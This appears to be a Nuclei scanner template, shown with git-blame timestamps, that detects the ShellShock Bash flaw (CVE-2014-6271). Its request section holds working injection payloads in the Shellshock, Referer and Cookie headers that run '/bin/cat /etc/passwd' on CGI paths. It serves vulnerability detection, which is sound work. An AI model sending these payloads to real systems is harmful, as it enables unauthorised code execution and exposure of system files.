2022-02-25 22:07:55 +00:00
id : CVE-2014-6271
info :
2022-03-18 15:39:34 +00:00
name : ShellShock - Remote Code Execution
author : pentest_swissky,0xelkomy
2022-02-25 22:07:55 +00:00
severity : critical
2022-05-17 09:18:12 +00:00
description : GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution can lead to unauthorized access, data theft, and system compromise.
2023-09-06 13:22:34 +00:00
remediation : |
Apply the necessary patches and updates provided by the vendor to fix the vulnerability.
2022-02-25 22:07:55 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2014-6271
- https://nvd.nist.gov/vuln/detail/CVE-2014-7169
- http://www.kb.cert.org/vuls/id/252743
- http://www.us-cert.gov/ncas/alerts/TA14-268A
2023-07-11 19:49:27 +00:00
- http://advisories.mageia.org/MGASA-2014-0388.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2014-6271
cwe-id : CWE-78
2024-03-04 08:20:22 +00:00
epss-score : 0.97559
epss-percentile : 0.99997
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:gnu:bash:1.14.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 8
2023-07-11 19:49:27 +00:00
vendor : gnu
product : bash
2024-01-14 09:21:50 +00:00
tags : cve2014,cve,rce,shellshock,kev,gnu
2022-02-25 22:07:55 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-25 22:07:55 +00:00
- method : GET
path :
2024-04-12 10:31:51 +00:00
- "{{BaseURL}}{{paths}}"
payloads :
paths :
- ""
- "/cgi-bin/status"
- "/cgi-bin/stats"
- "/cgi-bin/test"
- "/cgi-bin/status/status.cgi"
- "/test.cgi"
- "/debug.cgi"
- "/cgi-bin/test-cgi"
2022-03-18 15:39:34 +00:00
2023-07-11 19:49:27 +00:00
stop-at-first-match : true
2022-02-25 22:07:55 +00:00
headers :
Shellshock : "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
Referer : "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
Cookie : "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
matchers-condition : and
matchers :
- type : regex
2022-03-18 15:39:34 +00:00
part : body
2022-02-25 22:07:55 +00:00
regex :
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-04-12 10:58:47 +00:00
# digest: 4a0a00473045022100ffba8f39e1fa9c971f6701509b6aa0b2df388f4e902ae6270d75ccfc573d2a8a0220432aac2c8da61839bf96bcceb0e1e3f10c6cf2755f8c2006d438a53032d4a7ca:922c64590222798bb761d5b6d8e72950